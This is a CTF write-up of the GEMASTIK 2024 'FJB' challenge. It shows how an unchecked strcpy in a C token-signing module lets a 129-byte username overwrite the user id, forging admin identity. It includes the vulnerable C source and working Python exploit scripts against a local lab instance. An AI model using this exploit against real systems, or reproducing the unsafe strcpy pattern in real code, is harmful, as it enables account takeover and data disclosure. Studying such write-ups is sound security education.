GEMASTIK Final 2024
Buffer overflow leads to account takeover / information disclosure
FJB
Web - Pwn
Story Time
Last year, i got into GEMASTIK 2024 Final stage with Abdiery, and Haalloobim and i did not solve anything at the time. This was an attempt to upsolve the problem FJB
.
Say it a year long overdue writeup :)
There are actually two bugs in this challenge, an integer overflow and a buffer overflow, but i will only write the buffer overflow part 😉
Initial Analysis
We are given files:
┌──(mirai㉿kali)-[~/CTFs/Gemastik2024/FJB]
└─$ tree .
.
├── docker-compose.yml
├── Dockerfile
├── fjb.db
├── frontend
│ ├── components.json
│ ├── eslint.config.js
│ ├── index.html
│ ├── jsconfig.json
│ ├── package.json
│ ├── pnpm-lock.yaml
│ ├── postcss.config.js
│ ├── public
│ │ └── favicon.svg
│ ├── README.md
│ ├── src
│ │ ├── components
│ │ │ ├── navigation.jsx
│ │ │ └── ui
│ │ │ ├── badge.jsx
│ │ │ ├── button.jsx
│ │ │ ├── card.jsx
│ │ │ ├── dialog.jsx
│ │ │ ├── input.jsx
│ │ │ ├── label.jsx
│ │ │ ├── table.jsx
│ │ │ ├── tabs.jsx
│ │ │ ├── textarea.jsx
│ │ │ └── tooltip.jsx
│ │ ├── constants.js
│ │ ├── hooks
│ │ │ └── useAuth.js
│ │ ├── index.css
│ │ ├── lib
│ │ │ ├── httpClient.js
│ │ │ ├── router.js
│ │ │ └── utils.js
│ │ ├── main.jsx
│ │ ├── pages
│ │ │ ├── cart-checkout.jsx
│ │ │ ├── login-register.jsx
│ │ │ └── marketplace-lisiting.jsx
│ │ ├── routes
│ │ │ ├── cart.jsx
│ │ │ ├── index.lazy.jsx
│ │ │ ├── login.lazy.jsx
│ │ │ └── __root.jsx
│ │ └── routeTree.gen.ts
│ ├── tailwind.config.js
│ └── vite.config.js
├── httpd.conf
├── httpd-foreground
├── kauth
│ ├── kauth-1.0-1.rockspec
│ ├── kauth.c
│ ├── kauth.h
│ └── Makefile
└── src
├── database.lua
├── handler
│ ├── api.lua
│ ├── cart.lua
│ ├── catalog.lua
│ ├── checkout.lua
│ ├── login.lua
│ ├── register.lua
│ └── user.lua
├── lib
│ └── utils.lua
├── middleware.lua
└── secret.lua
14 directories, 58 files
Going into the website:

To do anything, we need to be authenticated first, we see that there is api.lua
file, taking a look at it:
local cjson = require "cjson"
local middleware = require "middleware"
local login = require "handler.login"
local register = require "handler.register"
local user = require "handler.user"
local catalog = require "handler.catalog"
local cart = require "handler.cart"
local checkout = require "handler.checkout"
function handle(r)
if r.uri == "/api/login" and r.method == "POST" then
return login.handler(r)
elseif r.uri == "/api/register" and r.method == "POST" then
return register.handler(r)
elseif r.uri == "/api/user" and r.method == "GET" then
return middleware.auth(r, user.handler)
elseif r.uri == "/api/catalog" and r.method == "GET" then
return catalog.get(r)
elseif r.uri == "/api/catalog/me" and r.method == "GET" then
return middleware.auth(r, catalog.get_me)
elseif r.uri == "/api/catalog" and r.method == "POST" then
return middleware.auth(r, catalog.post)
elseif r.uri == "/api/cart" and r.method == "GET" then
return middleware.auth(r, cart.get)
elseif r.uri == "/api/cart" and r.method == "POST" then
return middleware.auth(r, cart.post)
elseif r.uri == "/api/cart" and r.method == "DELETE" then
return middleware.auth(r, cart.delete)
elseif r.uri == "/api/checkout" and r.method == "POST" then
return middleware.auth(r, checkout.post)
else
r.status = 404
r.content_type = "application/json"
r:write(cjson.encode({
error = "Not found"
}))
return apache2.OK
end
end
There are features like catalog, cart and checkout.
We can't register from the frontend since the button at the register page have no handler to hit to the /api/register
endpoint so we need to hit the APIs directly.
We will use the below script as a base for our exploit.
import httpx
BASE_URL = "http://localhost:17000"
def register(username, password, session: httpx.Client):
response = session.post(f"{BASE_URL}/api/register", json={"username": username, "password": password})
return response
def login(username, password, session: httpx.Client):
response = session.post(f"{BASE_URL}/api/login", json={"username": username, "password": password})
return response, session
def user(session: httpx.Client):
response = session.get(f"{BASE_URL}/api/user")
return response
def main():
username = "mirai"
password = "mirai"
session = httpx.Client()
_ = register(username, password, session)
_, session = login(username, password, session)
user_response = user(session)
print(user_response.json().get('user'))
if __name__ == "__main__":
main()

For debugging purposes, i will modify the docker-compose.yml
file to make fjb.db
uses shared volume from local to the docker:
services:
fjb:
build:
context: .
args:
- PASSWORD=root
ports:
- 17000:80
- 17022:22
volumes:
- ./data:/app/data
┌──(mirai㉿kali)-[~/CTFs/Gemastik2024/FJB]
└─$ tree .
.
├── data
│ └── fjb.db
├── docker-compose.yml
├── Dockerfile
├── fjb.db
├── frontend
[...SNIP...]
Interacting with the Website
We can login to the website and "Add Item" to it:

We can try to add an item:

There is a suspicious Valuable
field that is using type password.
Locating the Flag
Looking around the files, it looks like there is no file or logic that is being used to generate the flag.


So we assume that the flag is in the database file. This assumption is basically confirmed based on yqroo's writeup (Great player btw) on this same challenge (pls don't call me out, not copying the writeup kok 🥺).
We see that when we create a catalog:

When we try to access api/catalog/me
we can see the value
field.

But when we access it with the public api /api/catalog
:

We cannot see the value
field. Meaning that the flag must be in the catalog of the admin
user.
Vulnerability analysis
Looking around the files, we can see that this website is using an external C code to do it's authentication (which in on itself is very suspicious) in kauth/kauth.c
file.

We see that this kauth.c
file have 2 main functions, decode
and encode
:
static int encode(lua_State *L) {
int typ;
struct kauth_user claim;
unsigned char h[crypto_auth_hmacsha256_BYTES];
unsigned char token[kauth_token_BYTES];
memset(h, 0, crypto_auth_hmacsha256_BYTES);
memset(token, 0, kauth_token_BYTES);
memset(&claim, 0, sizeof(struct kauth_user));
size_t keylen = 0;
const char *key = luaL_checklstring(L, 1, &keylen);
if (keylen != crypto_auth_hmacsha256_KEYBYTES) {
lua_pushstring(L, "invalid key len");
return lua_error(L);
}
luaL_checktype(L, 2, LUA_TTABLE);
if ((typ = lua_getfield(L, 2, "id")) != LUA_TNUMBER) {
lua_pop(L, 1);
lua_pushstring(L, "invalid type id (number expected)");
return lua_error(L);
}
lua_Integer id = lua_tointeger(L, -1);
lua_pop(L, 1);
claim.id = id;
if ((typ = lua_getfield(L, 2, "name")) != LUA_TSTRING) {
lua_pop(L, 1);
lua_pushstring(L, "invalid type name (string expected)");
return lua_error(L);
}
const char *name = lua_tostring(L, -1);
lua_pop(L, 1);
strcpy((char *)claim.name, name);
claim.exp = time(0) + 1800; // 30 min
crypto_auth_hmacsha256(h, (const unsigned char *)&claim,
sizeof(struct kauth_user), (const unsigned char *)key);
sodium_bin2base64((char *)token, kauth_token_claim_BYTES,
(const unsigned char *)&claim, sizeof(struct kauth_user),
sodium_base64_VARIANT_URLSAFE_NO_PADDING);
sodium_bin2base64((char *)(token + kauth_token_claim_BYTES),
kauth_token_sign_BYTES, h, crypto_auth_hmacsha256_BYTES,
sodium_base64_VARIANT_URLSAFE_NO_PADDING);
token[kauth_token_claim_BYTES - 1] = '.';
lua_pushlstring(L, (char *)token, kauth_token_BYTES);
return 1;
}
static int decode(lua_State *L) {
struct kauth_user claim;
const char name[129];
const unsigned char h[crypto_auth_hmacsha256_BYTES];
memset(&claim, 0, sizeof(struct kauth_user));
memset((void *)name, 0, sizeof(name));
memset((void *)h, 0, sizeof(h));
size_t keylen = 0;
const char *key = luaL_checklstring(L, 1, &keylen);
if (keylen != crypto_auth_hmacsha256_BYTES) {
lua_pushstring(L, "invalid key len");
return lua_error(L);
}
size_t tokenlen = 0;
const char *token = luaL_checklstring(L, 2, &tokenlen);
if (tokenlen != kauth_token_BYTES) {
lua_pushstring(L, "invalid token len");
return lua_error(L);
}
if (token[kauth_token_claim_BYTES - 1] != '.') {
lua_pushstring(L, "invalid token");
return lua_error(L);
}
size_t clen = 0;
const char *b64_end = NULL;
if (sodium_base642bin((unsigned char *)&claim, sizeof(struct kauth_user),
token, kauth_token_claim_BYTES, NULL, &clen, &b64_end,
sodium_base64_VARIANT_URLSAFE_NO_PADDING) != 0) {
lua_pushstring(L, "invalid token: failed to decode claim");
return lua_error(L);
}
strncpy((char *)name, claim.name, sizeof(name));
clen = 0;
b64_end = NULL;
if (sodium_base642bin((unsigned char *)h, crypto_auth_hmacsha256_BYTES,
token + kauth_token_claim_BYTES, kauth_token_sign_BYTES,
NULL, &clen, &b64_end,
sodium_base64_VARIANT_URLSAFE_NO_PADDING) != 0) {
lua_pushstring(L, "invalid token: failed to decode hash");
return lua_error(L);
}
if (crypto_auth_hmacsha256_verify(h, (const unsigned char *)&claim,
sizeof(struct kauth_user),
(const unsigned char *)key) != 0) {
lua_pushstring(L, "invalid token: failed to verify");
return lua_error(L);
}
if (claim.exp <= time(0)) {
lua_pushstring(L, "invalid token: expired");
return lua_error(L);
}
lua_newtable(L);
lua_pushstring(L, name);
lua_setfield(L, -2, "name");
lua_pushinteger(L, claim.id);
lua_setfield(L, -2, "id");
return 1;
}
Did you see the bug?
Let me highlight it.
static int encode(lua_State *L) {
int typ;
struct kauth_user claim;
unsigned char h[crypto_auth_hmacsha256_BYTES];
unsigned char token[kauth_token_BYTES];
memset(h, 0, crypto_auth_hmacsha256_BYTES);
memset(token, 0, kauth_token_BYTES);
memset(&claim, 0, sizeof(struct kauth_user));
size_t keylen = 0;
const char *key = luaL_checklstring(L, 1, &keylen);
if (keylen != crypto_auth_hmacsha256_KEYBYTES) {
lua_pushstring(L, "invalid key len");
return lua_error(L);
}
luaL_checktype(L, 2, LUA_TTABLE);
if ((typ = lua_getfield(L, 2, "id")) != LUA_TNUMBER) {
lua_pop(L, 1);
lua_pushstring(L, "invalid type id (number expected)");
return lua_error(L);
}
lua_Integer id = lua_tointeger(L, -1);
lua_pop(L, 1);
claim.id = id;
if ((typ = lua_getfield(L, 2, "name")) != LUA_TSTRING) {
lua_pop(L, 1);
lua_pushstring(L, "invalid type name (string expected)");
return lua_error(L);
}
const char *name = lua_tostring(L, -1);
lua_pop(L, 1);
strcpy((char *)claim.name, name);
claim.exp = time(0) + 1800; // 30 min
crypto_auth_hmacsha256(h, (const unsigned char *)&claim,
sizeof(struct kauth_user), (const unsigned char *)key);
sodium_bin2base64((char *)token, kauth_token_claim_BYTES,
(const unsigned char *)&claim, sizeof(struct kauth_user),
sodium_base64_VARIANT_URLSAFE_NO_PADDING);
sodium_bin2base64((char *)(token + kauth_token_claim_BYTES),
kauth_token_sign_BYTES, h, crypto_auth_hmacsha256_BYTES,
sodium_base64_VARIANT_URLSAFE_NO_PADDING);
token[kauth_token_claim_BYTES - 1] = '.';
lua_pushlstring(L, (char *)token, kauth_token_BYTES);
return 1;
}
YES. It is a buffer overflow bug that can overwrite adjacent variables. I would say, this code is so conveniently coded so that we can exploit it. Didn't believe me? Let's analyze it further.
Analyzing the code further
Proof #1
We see the definition of kauth_user
struct in kauth/kauth.h
:
#pragma once
#include <stddef.h>
struct kauth_user {
const char name[128];
unsigned long long id;
unsigned long long exp;
};
We will try to see the layout of memory of this struct in a temporary file for easier debugging:
#include <stddef.h>
#include <string.h>
#include <stdio.h>
struct kauth_user
{
const char name[128];
unsigned long long id;
unsigned long long exp;
};
struct kauth_user claim = {0};
int main(int argc, char const *argv[])
{
memset(&claim, 0, sizeof(claim));
strcpy((char *)claim.name, "mirai");
claim.id = 1;
claim.exp = 1800;
printf("Size of kauth_user: %zu bytes\n", sizeof(struct kauth_user));
printf("Name: %s\n", claim.name);
printf("ID: %llu\n", claim.id);
printf("Expiration: %llu seconds\n", claim.exp);
return 0;
}
┌──(mirai㉿kali)-[~/CTFs/Gemastik2024]
└─$ cd "/home/mirai/CTFs/Gemastik2024/" && gcc coba.c -o coba && "/home/mirai/CTFs/Gemastik2024/"coba
Size of kauth_user: 144 bytes
Name: mirai
ID: 1
Expiration: 1800 seconds

We see that the ID
field is below the name
field. With long enough name (in this case 128 characters), we can control the ID
field by overwriting it.
Proof #2
The order of the variable assignment.
static int encode(lua_State *L) {
int typ;
struct kauth_user claim;
unsigned char h[crypto_auth_hmacsha256_BYTES];
unsigned char token[kauth_token_BYTES];
memset(h, 0, crypto_auth_hmacsha256_BYTES);
memset(token, 0, kauth_token_BYTES);
memset(&claim, 0, sizeof(struct kauth_user));
[...SNIP...]
if ((typ = lua_getfield(L, 2, "id")) != LUA_TNUMBER) {
lua_pop(L, 1);
lua_pushstring(L, "invalid type id (number expected)");
return lua_error(L);
}
lua_Integer id = lua_tointeger(L, -1);
lua_pop(L, 1);
claim.id = id;
if ((typ = lua_getfield(L, 2, "name")) != LUA_TSTRING) {
lua_pop(L, 1);
lua_pushstring(L, "invalid type name (string expected)");
return lua_error(L);
}
const char *name = lua_tostring(L, -1);
lua_pop(L, 1);
strcpy((char *)claim.name, name);
claim.exp = time(0) + 1800; // 30 min
[...SNIP...]
token[kauth_token_claim_BYTES - 1] = '.';
lua_pushlstring(L, (char *)token, kauth_token_BYTES);
return 1;
}
See that the program assigns the claim.id
first, then claim.name
and lastly the claim.exp
. Since we control the name field. We can overwrite the id field without worrying that the id will be reassigned later.
Proof #3
You may think, "maybe in the register.lua
or login.lua
file, there is a limiter on how many characters can be send". Let's analyze register.lua
and login.lua
files.
local cjson = require "cjson"
local utils = require "lib.utils"
local db = require "database"
local _M = {}
function _M.handler(r)
local input = r:requestbody()
local spec = cjson.decode(input or "{}")
r.content_type = "application/json"
if utils.isempty(spec.username) or utils.isempty(spec.password) then
r.status = 400
r:write(cjson.encode({
error = "Bad Request: missing username or password"
}))
return apache2.OK
end
local uid, err = db.register(spec.username, spec.password)
if err then
r.status = 500
r:write(cjson.encode({
error = "Internal error: " .. err
}))
return apache2.OK
end
if uid == nil then
r.status = 400
r:write(cjson.encode({
error = "Bad Request: invalid password or username"
}))
return apache2.OK
end
r:write(cjson.encode({
message = "Successfully registered"
}))
return apache2.OK
end
return _M
local cjson = require "cjson"
local kauth = require "kauth"
local utils = require "lib.utils"
local db = require "database"
local secret = require "secret"
local _M = {}
function _M.handler(r)
local input = r:requestbody()
local spec = cjson.decode(input or "{}")
r.content_type = "application/json"
if utils.isempty(spec.username) or utils.isempty(spec.password) then
r.status = 400
r:write(cjson.encode({
error = "Bad Request: missing username or password"
}))
return apache2.OK
end
local user, err = db.login(spec.username, spec.password)
if err then
r.status = 500
r:write(cjson.encode({
error = "Internal error: " .. err
}))
return apache2.OK
end
if not user then
r.status = 401
r:write(cjson.encode({
error = "Unathorized: invalid password or username"
}))
return apache2.OK
end
local ok, token = pcall(function ()
return kauth.encode(secret.key, user)
end)
if not ok then
r.status = 500
r:write(cjson.encode({
error = "Internal error: failed to generate token"
}))
return apache2.OK
end
r:setcookie({
key = "session",
value = token,
expires = os.time() + 1800,
})
r:write(cjson.encode({
user = user,
token = token,
}))
return apache2.OK
end
return _M
Nope. there is no check on how long the input can be inputted.
Exploit
Now onto the exploit. First we need to register a user that is:
128 bytes long username
Then append a byte on the back of the username
Figuring out how to append a binary data to JSON.
Well i tried to naively do it like this:
import httpx
from pwn import p64
BASE_URL = "http://localhost:17000"
def register(username, password, session: httpx.Client):
response = session.post(f"{BASE_URL}/api/register", json={"username": username, "password": password})
return response
def login(username, password, session: httpx.Client):
response = session.post(f"{BASE_URL}/api/login", json={"username": username, "password": password})
return response, session
def user(session: httpx.Client):
response = session.get(f"{BASE_URL}/api/user")
return response
def my_catalog(session: httpx.Client):
response = session.get(f"{BASE_URL}/api/catalog/me")
return response
def catalog(session: httpx.Client):
response = session.get(f"{BASE_URL}/api/catalog")
return response
def main():
username = b'A'*128 + p64(0x1)
password = b"mirai1"
session = httpx.Client()
_ = register(username, password, session)
_, session = login(username, password, session)
user_response = user(session)
print(user_response.json())
if __name__ == "__main__":
main()
We are greeted with an error:

We need another way to append a binary data to the username.
When googling about appending binary data to a lua string, we found a StackOverflow answer:

We can append binary data by using C escape sequences.
We modify our script like this:
import httpx
from pwn import p64
BASE_URL = "http://localhost:17000"
def register(username, password, session: httpx.Client):
response = session.post(f"{BASE_URL}/api/register", json={"username": username, "password": password})
return response
def login(username, password, session: httpx.Client):
response = session.post(f"{BASE_URL}/api/login", json={"username": username, "password": password})
return response, session
def user(session: httpx.Client):
response = session.get(f"{BASE_URL}/api/user")
return response
def my_catalog(session: httpx.Client):
response = session.get(f"{BASE_URL}/api/catalog/me")
return response
def catalog(session: httpx.Client):
response = session.get(f"{BASE_URL}/api/catalog")
return response
def main():
username = 'A'*128 + '\01' # Here we append the \01 as the id
password = 'mirai1'
session = httpx.Client()
_ = register(username, password, session)
_, session = login(username, password, session)
user_response = user(session)
print(user_response.text)
if __name__ == "__main__":
main()

Looks promising. Let us check in the db to cross-check the real id
for our newly created user.

We successfully logged in as id 1 even though in the database, we are user id 3!
Now we can get the flag!

Final Exploit
import httpx
BASE_URL = "http://localhost:17000"
def register(username, password, session: httpx.Client):
response = session.post(f"{BASE_URL}/api/register", json={"username": username, "password": password})
return response
def login(username, password, session: httpx.Client):
response = session.post(f"{BASE_URL}/api/login", json={"username": username, "password": password})
return response, session
def my_catalog(session: httpx.Client):
response = session.get(f"{BASE_URL}/api/catalog/me")
return response
def main():
username = 'A'*128 + '\01'
password = 'mirai1'
session = httpx.Client()
_ = register(username, password, session)
_, session = login(username, password, session)
my_catalog_response = my_catalog(session)
print(my_catalog_response.json().get('items')[0].get('value'))
if __name__ == "__main__":
main()

Final words
It seems crazy to me that the exploit is this short. Since no one solved it during the competitions. I dunno maybe i am just having skill issues at the times. Sadge we didn't solve any challenge that day.
Until next time ❤️

Last updated